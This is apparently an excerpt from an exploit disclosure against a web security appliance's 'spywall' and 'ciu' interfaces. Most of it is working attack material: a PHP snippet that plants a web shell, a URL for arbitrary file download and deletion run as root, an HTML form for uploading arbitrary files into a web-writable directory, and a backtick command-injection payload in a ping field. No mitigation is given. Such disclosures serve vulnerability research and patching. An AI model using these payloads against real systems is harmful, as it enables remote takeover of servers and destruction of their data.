-rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log
Make a connection to port 80:
<?php
$f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
$cmd = "<?php system(\$_GET['cmd']); ?>";
fputs($f,$cmd);
fclose($f);
print "Shell creation done<br>";
?>
Arbitary file download and delete:
https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
d parameter: the complete filename
After the download process application removes the original file with root access! :)
Command execution methods:
1.Method
Download and delete the /var/www/html/ciu/.htaccess file.
After it you can access the ciu interface on web.
There is an upload script: /ciu/uploadFile.php
User can control the filename and the upload location:
$_FILES['uploadFile'];
$_POST['uploadLocation'];
2.Method
<form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
<input type="file" name="uploadFile">
<input type="text" name="action" value="upload">
<input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
<input type="hidden" name="configuration" value="test">
<input type="submit" value="upload!">
</form>
The "/var/www/html/spywall/cleaner" is writeable by www-data.
Command execution after authentication:
http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)
From the modified POST message:
Content-Disposition: form-data; name="pingaddress"
127.0.0.1`whoami>/tmp/1234.txt`
